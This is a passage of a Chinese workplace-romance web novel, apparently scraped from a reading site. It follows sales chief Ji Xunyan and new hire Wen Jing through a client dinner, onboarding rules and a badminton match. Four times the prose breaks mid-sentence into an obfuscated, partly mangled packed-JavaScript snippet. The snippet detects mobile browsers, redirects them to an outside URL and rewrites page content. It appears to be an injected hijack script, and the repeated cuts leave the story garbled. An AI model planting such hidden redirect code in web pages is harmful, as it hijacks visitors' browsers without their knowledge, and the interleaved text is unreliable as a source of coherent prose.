从郁菱认识他第一天开始，她看中他的聪明、敏锐、果决。她是国内龙头企业星零的二代继承人，上亿的身价，看上季洵言，似乎是他的荣幸。 可只有郁菱清楚，这段晦暗的关系，季洵言从未对她真的上过心。 尽管外界都传他的销售手段是很会拿捏男销售与女客户的关系，让女客户心甘情愿为他买单。 但实际不是，起码季洵言从未拿捏过他们的关系。 郁菱觉得可惜，“在你眼里，我是会这么势利的人吗？” “当然不。”季洵言淡笑，为她倒酒，“小郁总聪明、睿智，会赏识人才，是有魅力的女性。” “但你不吃我的女性魅力。”郁菱顺着他话说。 季洵言抬眸，微笑不语。 他感情段位其实很高，只是在面对她时，他不屑于拉扯。 郁菱认识季洵言多年，她能感受到这男人身上的傲气和尖锐，鱼龙混杂的职场并没挫伤他的锐气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316724|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反倒因此增强。 郁菱的目光总难以从他身上移走。 但她清楚单靠自己，推进不了，“好吧，我没必要再自讨没趣。谈谈我们这次方案的五百万增值吧。让我多投五百万，总要给我更多意想不到的回报吧，季总。” “你知道的，我从不做赔本的生意。” “当然。” 话题终于回到正轨。 接下来都是季洵言条理清晰，对她的提问解答。 一顿饭，两小时，季洵言被郁菱引着，陪她喝了不少酒。 郁菱酒量很好。 季洵言胃不好，今天虽没吃药，但也不适合饮酒过多。 今晚已经超标了。 喝完季洵言去洗手间，都明显感觉到身体的不适，但好在，刚刚离座前，郁菱松口愿意安排合同推进，走用印流程了。 财务也会在合同敲定后，工作的第一时间进行汇款。 季洵言给大区经理沈硕打电话。 那头秒通，“言哥。” 季洵言说：“成了。” 沈硕激动说：“言哥，你太强了。” 季洵言皱眉，深呼吸，淡声：“行了，别来这套，明天去星零拜访的时候带好准备的礼物。郁菱现在同意了，但明天同样要伺候好，别再出现任何差池。” “明白！”沈硕说，“那言哥，我现在去接你？” “不用，司机会送我回去，挂了。” “好。” 电话挂断，季洵言总觉身体不适闷得慌，洗手间外，临近餐厅观景露台。 室外燥热无人。 季洵言点了根烟，烟丝雾色袅袅地划过他眼眸。 他听到了身后嬉笑靠近的声音。 其中有一道，很熟悉：“若薇，你别开这种玩笑了，我不会和他恋爱的，我不喜欢金融男。” 林若薇：“他年薪80w+诶，我都羡慕了，毕竟也不是谁都能像季阎王那样，每年都上千万。” “绝顶的人中龙凤。” 最后这几个字的描述，逗笑温景。 她刚想说什么，抬眼，意外和露台上光风霁月，咬着烟，袅袅烟丝遮眼，闻声正朝她看来的季洵言，四目相撞。 时间停摆的那几秒。 季洵言明显听到了她们的聊天。 温景身体僵硬，步伐也停住。 季洵言那根烟，火舌烧得更烈。 温景眼眸被灼烧。 她看到季洵言朝她挑眉，嗤笑了下。 6. 6. 那晚的对视简直像错觉。 温景最后是落荒而逃的，毕竟还是经验少，她大脑混乱得在那个瞬间，根本没有任何应对措施。 好在接下来一周，季洵言都延长出差在外地。 温景不用碰上她那位桃花潋滟的大老板。 入职体检提交之后，隔天，行政就批量帮最新被招进各部门的新人办理了入职手续。 入职第一天，销售集中培训的会议室。 温景意外发现不止海城区域的新销售，还有很多外部区域分公司的销售也一并被安排在海城总部培训。 本次培训的吃住行，包括海城本部的新销售，万岭都会统一安排入住五星级的集团合作酒店。 进行为期14天的脱产培训。 和温景同酒店房间的是一个相对内敛的小姑娘。 “你也是前端销售岗吗？”因为有听说这次一起培训的还有业务支持后援岗的新人，主要处理销售流程端的一系列业务审核，统一也向销售业务主管汇报。 女生摇摇头，害羞说：“你好，我是周与琳，是深城分部的业务支持岗。” “你好啊，温景。”对比周与琳的内向，温景实在开朗许多。 因入住都安排在下午，当晚无需培训，温景和周与琳一起出去吃了顿晚餐。 聊天中，温景才得知，他们这类业务支持岗也有三个月的试用期，考核他们的维度并不是业绩指标，而是专业技能的掌握和整体出错率。 简言之，会及时对接销售，处理问题，答辩后领导统一评估通过，即可安全转正。 周与琳咬着可乐吸管，认真说：“比起我们，你们销售岗才是真的竞争压力大。听说真有人三个月都开不了一单，到期就走人的，然后整整一年都不能二进宫。” “二进宫什么意思？”好多都是黑话，温景之前接触不多。 周与琳说：“就是离职后，换个城市的相同业务部门再次入职。像万岭这样的大集团，各个城市的市场容量不同，对应销售能做的业绩高度都不一样。比如有二线城市销售转去深城这种超一线从头再来的案例，比比皆是。大家都为了赚钱，肯定追求更高的提点和更有投资意识的市场。” “那我还挺幸运。”温景笑说，“海城、深城这样的销售部，提点和生活补贴都是最高的。” 周与琳随她笑：“你性格这么好，感觉你肯定会做得很好。” “你也是。” 温景庆幸，自己这为期两周的室友，是周与琳这么好性格的同伴。 培训从早上九点准时开始，一直到傍晚六点才结束。 全天安排的都是高强度的集团背景、产品条线分布、以及对应的具体产品价值学习。 光是背诵内容，每天都有几十页ppt。 温景和周与琳被分在一组，两人都不算学习特别好的，每晚一到背诵环节，两人都眼前一黑。 别说都背不下来了，每晚回酒店还熬夜学。 就这样，两人隔天的抽背和现场抽答都像回到上学时代，神经都紧紧绷着。 堪称难姐难妹。 终于，14天倒计时，要结束。 温景和周与琳交上学习的答卷，都是硬啃下来的高分。 结束培训，周与琳回深城的那天，温景中午陪她吃了顿当地有名的特色餐厅，送她去机场。 在机场，办理好值机，周与琳一直舍不得进去，说想再和温景说说话。 温景第一次发现，周与琳的内敛柔软都是伴着孤单无助的。 周与琳说：“小景，这14天真的谢谢你。你是我在这个冰冷职场交到的第一个朋友。” 周与琳和温景说了很多她从前因善良在职场踩过的很多坑，导致她现在到新的区域，都不敢主动去交友，更不想交友了。 因为曾经的人际纠纷总能让她阵痛。 在送周与琳进安检之前，温景轻轻地抱了下她，“与琳，我们要保持联系。你等我，到时销冠团队去深城业务分享，一定会有我。” 周与琳笑得连连点头，“你可以的，我相信你。” 飞机起飞，落地深城。 培训结束的第一周周一，销售们和业务支持岗统一都进区域开始作业。 温景被安排进周智骞这位二级主管下，新上任三级主管徐兮唯的海城一组。 销售部一共15个组。 每组13-15人。 销售可在专员/高级专员/资深专员三层进行职级浮动。 主管则在三级主管/二级主管/一级主管这三层浮动。 看似15个组的主管都叫主管，但各位的职级并不相同。 包括温景那个组内的新老销售，职级也不同。 温景是以高级专员入职的。 入职第一天，欢迎新人仪式结束。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316725|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温景就见识到了万岭销售的残酷，业绩每天按小时计数的大屏波动公示。 每一位销售的进账都会在系统内生成耀眼的海报。 甚至没超过50w的进账，大屏对应销售都会进行一次现金激励抽奖，100-1000不等，抽到了当天就可以兑现。 进账超100w的终极奖还可能是新款手机/平板任意抽奖。 进账超200w的则是配置最强的新款游戏本电脑的款式抽奖。 很极致的赌徒心理激励。 万岭这帮领导是真愿意给钱。 温景不得不惊叹。 她进区域第一天，徐兮唯、周智骞、谈绪、沈硕、季洵言这直属的五级领导恰巧都在办公室。 徐兮唯带着一一面见打招呼。 做到小组新人领导先有印象。 徐兮唯，爱穿短裙黑蕾丝的明艳美女，三级主管，负责一组。 周智骞，看似斯文实则说话非常温柔的西装男，二级主管，负责一到五组。 谈绪，不苟言笑但也不算冷漠的温和风，片区经理，负责海城本部销售部。 沈硕，张扬外放的运动型男，大区经理，负责海城本部直销团队，外加派遣互联网公司的渠道销售。 季洵言，冷漠怪，负责海城，外加所在华东区域区域小城市的销售团队管理。 各层职级分明。 徐兮唯介绍：“平时除了季总，其余领导都可以辅助销售业务，比如谈不下的单子找我们都可以。但最好是单价20w以上的哦。如果20w以下，最好自己先尝试。” 温景：“好。” 终于，见到最后一间季洵言的办公室。 挨个见领导的规矩是季洵言定的，他最后也是他的安排。 这么多年的销售都是。 徐兮唯带着温景站在季洵言办公室外，轻叩办公室门两下。 “进。” 徐兮唯推门走近，微笑：“季总，这是我们一组刚下区域的新人，温景。” 季洵言从一堆汇报信息中抬头，冷冷清清地盯向正对着他，拘谨站着的温景。 全然没有面试那天的张扬。 季洵言突然毫无预兆地温柔淡笑了下，示意：“坐。” 像全然不记得那晚餐厅的挑眉和嗤笑。 温景：“？” 这么温柔？ 鬼上身了么？ 7. 7. 答案是，对新入职的所有人，季洵言都会一视同仁地给予第一把温柔刀。 “我没记错的话，你叫温景。” 季洵言似笑非笑，此刻尤为引导型领导的温和姿态，面对温景以及她身边的徐兮唯。 温景之前不了解季洵言到底什么才算他真实性格，点头说：“是，季总。” 徐兮唯：“......” 大老板今天是吃错药了吗？这么爱与和平？ 难不成活到29岁终于找到世间真爱了？被爱情感化了？ 实际，是在徐兮唯带温景进办公室的十分钟前，季洵言刚和姚心茹辩论结束。 针对陈青雅的感情舆论，陈青雅两次二类违规，永不录用。其他涉事男销售们都因舆论同样二类违规被劝退。 但太太们聚众拉横幅讨说法的舆情风波闹得较大。 上层对季洵言和姚心茹没做好及时的风险管控表示不小意见。 毕竟两边都有责任。 一个是销售端的风控点传递把控不到位；一个是招人后的行径培育和管束不够严肃谨慎。 总之，上面领导把他俩都狠狠批了一顿，以示告诫。 季洵言脸皮厚，以此为戒，但并不代表这件插曲会影响到他当天还算不错的心情。毕竟今天股票大涨，他买的好几支都接连涨停，他赚得很爽。 没理由因挨领导批以及为过去没做好的工作懊恼。 接下来谨言慎行，多加小心关注就可以了。 但姚心茹和他截然相反的性格。 姚心茹兢兢业业多年，很注重自己的口碑，和季洵言这样名声风流又潇洒，业绩干得好就能肆无忌惮在公司横着走的万岭现金王不同。 她在认真和季洵言沟通接下来销售的培养要点，条条框框的，几乎有把销售们卡死在每个环节的想法。 一通说完，季洵言只问了她一句话：“你觉得被用力规训的销售，能做出精彩的业绩吗？” “什么意思？”姚心茹皱起眉头。 “很简单的道理。”季洵言放下展示正红股票的手机，淡淡地看向这位的确深耕万岭hr廉政赛道多年，但对业务管理还缺乏一丝灵活度的姚心茹，“干好销售拿下销冠的首要条件就是灵活性，在有固有规则的环境，去借力规则，运用好规则，而不违反的情况，一般分为两种。” “第一类就是野性销售，今天他/她做的一切都可能是在擦边规则，但不影响他/她可以拿到超乎常人的业绩。这是他们的本事，但他们不是团队需要的人。” “这种人，我会干掉。”季洵言说。 “那另一种就是乖顺风格，他们会尽可能远离风险规则去作业，拿到的成绩无非是努力加实力的展现。也会很优秀，但这样的员工缺乏极度的上限。” “今天万岭的业绩之所以能做到行业最强，靠的不仅是制度，更是销售们无限不设限制的想象实操落地空间。把他们框的太死，等同于断送不少出色业绩。” 季洵言心平气和地微笑说：“姚主管，请问你可以承担这样的后果吗？” “......” 不得不说，姚心茹真讨厌季洵言这该死的嚣张和狂妄。 但他说得有理有据，她又不得不信服，“行，那暂且先不执行，如果再有类似情况发生，那就不是我在这里和你商量的态度了。” 季洵言颔首：“悉听尊便。” “......” 姚心茹是被季洵言气走的。 不过有一点，姚心茹提醒季洵言了，规则虽还未加以严苛，但对销售的传达可以加重。 所以这一刻，温景和徐兮唯并排坐在季洵言面前。 季洵言淡声：“听说培训考核，你拿了全班前三的名次？” “是。”温景是典型的应试教育优秀考生，都开卷考了还不前三，她真该做梦去了。 也就高考成绩是她这辈子唯一操作失当的滑铁卢。 “开卷考。”温景实话实说，“不难。” “那看来你集团背景和业务知识学得很扎实，我就不和你赘述了。”季洵言说，“接下来的几点提醒，我不会过多地在公共场合讲，所以我希望你听完，可以牢记。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316726|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好。”温景莫名紧张。 “第一条，海城本部禁止办公室恋情。”季洵言眸色深邃泛着冷光，“无论什么原因，过线越界被发现，别想着只需要走一方就可以，两个都给我走。我的团队不需要破坏规则的人。” 这是最重要的。 季洵言也最严肃放在最开始讲。 温景当然铭记，“季总，放心，我不恋不婚主义。” 徐兮唯：“？” 玩这么大？ 季洵言场面见多了，并不意外，“可以。” “第二条，本部会实行师徒制，关系自行把控的同时，禁止任何客户私藏或是转交利益的情况发生。即便你和任何一位同事关系够好，你的客户也永远不要操作流转到对方的名下进行过度保护。”季洵言说，“一旦发现，三类违规起步，能记住？” “能。”温景态度诚恳，姿态端正。 像极了绝顶拥护季洵言的兵，比徐兮唯还纯。 徐兮唯都想给温景竖大拇指了。 她真契合季洵言的招人画像啊，一本正经，不苟言笑，还勤恳好学。 “第三条，也是站在你们女性的角度。万岭销售部绝对的红线，如果出现任何男性对你们的职场性骚扰，都可以直接向上举报。” 季洵言冷声说，“我团队的人，必须都品行端正。” 说完，似乎意识到什么，季洵言又补充一句：“包括女性，也不允许有相关越界的行为。” “......” 是说她们女的猥/亵男的吗？ 温景淡笑了下，比起三根手指发誓般说：“放心吧，季总，我单身，不恋不婚主义，这辈子的理想型是不可能会遇到的绝顶温柔的男人。” “我不会对同事下黑手，我的人品可以保证。” “同样，我进万岭的目标只有一个，成为最会赚钱的销冠。” 四目相对的瞬间，季洵言在温景眸底看到绝对的信誓旦旦和说一不二。 倒有几分铁血战士般的坚决。 季洵言停顿了秒，敛眸，“行。” 8. 8. “我靠，你可太勇了，温景。” 徐兮唯自打走出季洵言的办公室，就在连连感叹，“魔王上位到现在，甚至没一个人会当面和他这么强心脏地介绍自己，是带着描述自己婚恋状况，甚至理想型类别的。” “这很特殊吗？”温景不理解，“让领导从一开始就了解我，以免后续的所有麻烦。我觉得这是一劳永逸的。” “NoNoNo！”徐兮唯摆手指，“魔王的团队，一向很注重个人的隐私保护。你可以完全不和公司任何人说你的婚恋情况，甚至你的理想型。你没发觉吗？公司在招聘面试你的时候，并没有很俗气地像其他销售公司那样，没边界感地问你一些恋爱婚姻的隐私。” 好像的确是这样。 徐兮唯说：“万岭华东销售部这么多年常青夺冠的原因，其实也和领导有关。魔王上任前，原先的好多任高层领导是很喜欢打探人隐私，以此拿捏员工的。但魔王上任后，放肆地把这些规则都改了，员工是来工作赚钱的，除了公开的学历，其余没有任何义务和公司的同事乃至上级汇报任何有关自己的隐私。这可能和魔王接受过的教育有关吧。” “什么意思？” “魔王一直是在国外上的学，学的西式那套。” “好吧。”温景犹豫了下，问，“魔王，还有我刚刚在另外几任领导的嘴里，也听到了他们这么喊他，没关系吗？” 季洵言知道的话，不会生气？ “当然不会。”徐兮唯笑说，“魔王，是早年公司还会给员工起各色各样的代号。那时万岭现金王的代号就是魔王，只是没人能真正做到千万的地步，等于季总是开创先例的第一人。所以后来公司即便不用代号了，大家都还是喊他魔王，你以后也可以这么喊。” “......” 温景还以为这称呼是骂他的。 “好了——” 徐兮唯笑着拍拍温景肩膀，“记住，从这一秒开始，保护好自己的隐私。刚刚办公室里的话就当我没听到，开始工作吧，加油。” - 万岭比温景想象的更具人性化。 徐兮唯是温景的主管，给她筛完一轮开发渠道和方向，就给她介绍了之后会带她的师傅，万岭销售部十年老人， 也是现在整个本部，福利拉满到最大，年限资历最深的资深专员，宋鹤。 宋鹤是个性格内敛的人，话不多，但业绩干得狠。 光她到公司的半天，宋鹤已经收了一百二十万，稳居公示榜首位。 对于温景的恭敬询问，宋鹤也只淡笑说：“不用这么拘谨，我的工位就在你左边，以后有什么问题都可以问我。下午你就按照学习的开发方式先沟通，晚上我会和你过一遍今天作业过程中遇到的所有问题和解决办法。” “好，谢谢师傅。”温景说。 “喊我鹤哥就行，不用这么客气。” “好......鹤哥。”温景还有些拘谨。 好在她是擅长做销售的，半天时间，她把长时间无人联系的沉寂客户都沟通了一轮，已经约到可以谈公司合作细节的。 万岭是专业给客户做流量投放，渠道产品宣传的。 所以合适客户的画像是年营收起码在1000w以上，有投资推广意识，愿意为此高昂付费的客户。 因为1000w的营收，按照内贸算比较多的15个点的利润，一年150w。 万岭最低10w的方案，绰绰有余。 最高千万的方案，则不适合这类客户。 只能说年营收1000w的企业是万岭的底线值。 温景联系到可以谈细节的客户，年营收大概在5000w，完美契合需求。 但明天上午约好的时间和宋鹤见客户的时间有所冲突。 小组同事们有不好还在客户那边，要等晚上回公司开会才能确定明天陪同温景一起的会是谁。 如果实在不行，那就徐兮唯陪她。 中午吃饭大家一起，聊的基本都是一些比较健康的兴趣爱好。 从宋鹤和徐兮唯的聊天间，好像他们每晚下班不累的话，都还会一起去打球。 温景也被他们加到运动的群里。 群里人很多，居然有三十几个人。 温景熟悉的头像好几个，意外徐兮唯、周智骞、谈绪、沈硕这四个用本人头像的领导都在群内。 温景还发现，群主是一个全黑头像，群内昵称叫老大的账号。 点开，网名：季洵言。 群里突然跳了条消息。 老大：【今晚几个人。】 沈硕：【1】 谈绪：【1】 周智骞：【1】 徐兮唯：【1】 接着还有接近七八个人都在群内发了数字1。 像排队报数一般。 宋鹤也发了1。 温景还没反应过来，徐兮唯就笑说：“晚上一起啊，劳逸结合，难得我们今晚包场体育馆。” “是去团建吗？” 温景这话刚问出，徐兮唯愣了秒，随即大笑：“不是的，只去运动，一般周一我们运动的人多，才会包场体育馆。平时都有几个人一起，就几个人出发。” “你看时间，要是想回家休息，也可以下班就回家。”徐兮唯笑说，“后面我们再约也行。” “我想去。”平时一向不锻炼的温景居然破天荒说了这三个字。 连她自己灵魂都颤抖了。 徐兮唯却像找到宝藏似的，笑说：“果然，魔王当时面试完你，就在群里发了要来新人的消息。一般是擅长喜欢锻炼的，他才会提前告知大家。” “啊？” 温景忽然想起了面试，季洵言问她还有没有问题要问他，温景摇头说没有。 是最后快结束时，季洵言才问的她最后一个问题：“喜欢运动吗？” 温景个人是不喜欢运动的，但无奈温老师和许女士从小就喜欢带她打羽毛球、网球、乒乓球。 她虽然不喜欢，但也不妨碍这三项运动，她打得很不错。 于是季洵言提问她，温景尤为坚定地超好表现说：“当然！我可是热爱运动的一枚健将！” “......” 此刻，回想当时面试的坚定，温景恨不得扇自己一巴掌。 说谎的现世报居然来得这么快。 季洵言之所以额外关注她，也是因为她说喜欢运动，这样的人才能和万岭更好地契合。 自然，晚上下班，温景就随徐兮唯、宋鹤一起去了公司旁边的羽毛球场。 刚进去，各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316727|198954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领导已经换好了运动装，运动鞋。 各具特色的风格，唯独季洵言是全身冷淡的黑。 考虑到温景今天没带运动装，徐兮唯提前让场馆准备了一套。 等温景换好出来，大家基本在做热身运动。 真热爱运动的沈硕今天一见温景，瞬间有种相见恨晚的感觉。 他欠揍地调侃说：“早就听说温景厉害，那不如和谈绪一组吧。这小子次次都打不过我和魔王老大，真是又菜又爱打，真看不惯他一直输啊。” 打球，沈硕一向和季洵言组队，强上加强。 整场就没组队能打过他们的。 万岭销售部的规矩，兄弟们干销售要有狼性，上了球场要更有狼性，万岭的人绝不接受输。 谈绪被激得燃起来了，难得热情朝温景招手，“来，我们打他俩。” “......” 这时，徐兮唯和宋鹤都旁观这场，笑着窃窃私语：“有好戏看了。” 温景虽说以前被练得很强，但来海城这两年压根就不运动，她怕给谈绪输惨了，让这位领导对自己有意见。 温景提前打招呼：“绪哥，要是输了——” “没事，打他们！” “......” 温景冷不丁看了眼对面一身黑色运动服，身型高大，神色倨傲冷淡的季洵言，深呼吸，发球。 好几个回合，都打得不相上下。 却基本成了，温景一打二的地步。 谈绪个业务高手、运动菜鸟完全到了接不住后期球的地步。 一旁观战的看懵了。 尤其徐兮唯和宋鹤，两人异口同声的：“我操，好强。” 毕竟许女士上学时候是体育生，运动基因非常好。 温景完美继承。 这会也打得有点烦了，对面两个的确厉害，但也无形激发了温景的好胜心。 她的确有那么一瞬间想着要不就输给两位领导。 毕竟二对一，对不起谈绪对她来说好像还能承受。 偏偏从始至终将近三年都没赢过的谈绪，今晚像彻底点燃了。 他一股脑地也不接球，就在旁边拱火温景，大喊：“打他们！扣球！” 温景果不其然，也被点燃了。 眼见沈硕敏锐打来的球即将要落。 温景一个敏锐抬脚绝杀！ 快被打烂的羽毛球干脆笔直地砸向季洵言。 这次，是连一向高手的魔王老大都来不及反应的球速。 那个羽毛球直接砸在季洵言头上。 随后，“啪”一下，悄然落向地面。 “......” 全场死一般的寂静。 连季洵言都花了三秒，才接受自己被第一天上班的新人用球砸了脑袋的事实。 “我操......” 沈硕、谈绪面面相觑。 这回，终于赢了的谈绪是不敢再拱火了。 意识到自己做了什么荒唐事的温景，僵在原地。 冷不丁地，她和皱眉抬眼的季洵言目光相撞。 她眼睁睁看着这位叱咤风云的大领导，盯着她，生生气笑了。 “......” 温景已经在想自己的一千零一种惨烈死法。